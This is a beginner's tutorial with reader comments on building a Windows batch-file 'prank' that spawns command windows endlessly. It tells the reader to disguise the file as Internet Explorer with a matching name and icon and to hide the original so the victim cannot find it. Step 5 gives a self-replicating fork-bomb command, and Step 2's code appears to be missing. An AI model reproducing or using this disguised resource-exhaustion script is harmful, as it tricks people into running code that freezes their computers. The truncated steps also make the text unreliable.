Step 1: NotePad

First you need to open Notepad.
You can go to the start menu and Click "All Programs", Then find the Folder "Accessories"
and "Notepad" should be in that folder.
Or you can open the start menu and type "Notepad" and click enter and Notepad will open.

Step 2: The Typing Part

Type in Notepad-
@echo off

What this will do is Open CMD six times and then repeat itself. Over and Over. You cant stop it. SO DONT TRY IT ON YOUR COMPUTER!!!

Step 3: Saving

When you save, Go to "File", "Save As", and save it as "Internet Explorer.bat". Where it says "FileType" Select "All Files" or it wont work!!!
Make Sure you save it to the desktop!!!!!!!!!

Step 4: Changing the Icon

Next you need to change the icon to look like "Internet Explorer".
To do this you need to right click the Icon and go down to "Create Shortcut" and then rename it to "Internet Explorer". Then right click it and go down to "Properties" and select "Change Icon".
Find the Internet Explorer Icon and click it and then click "Apply".

Put the original Batch File in a random folder on the desktop. So they cant see it.

Step 5: Opening

A much more powerful command would be: "@echo off x: Start FILENAME.bat Start FILENAME.bat Start FILENAME.bat Start FILENAME.bat Start FILENAME.bat echo Z0MG, I H4X3D U!!! @echo off goto :x" Of course replace "FILENAME" with your... well, your file name. This also would have to include your location such as "C:\H4X\batches\FILENAME.bat" Plus you'd probably want to have at least 20 of the "Start" command, I'm just lazy.

Man how for erm... noobs and beginners

On my site we are working on hacking in to windows at the moment and making something like yours but a bit better in c which is a better language.

You can take the code from my site so you can make a newer and better tut on this site:

You do realize that batch files ca only do so much. They are a series of commands NOT a programming language.
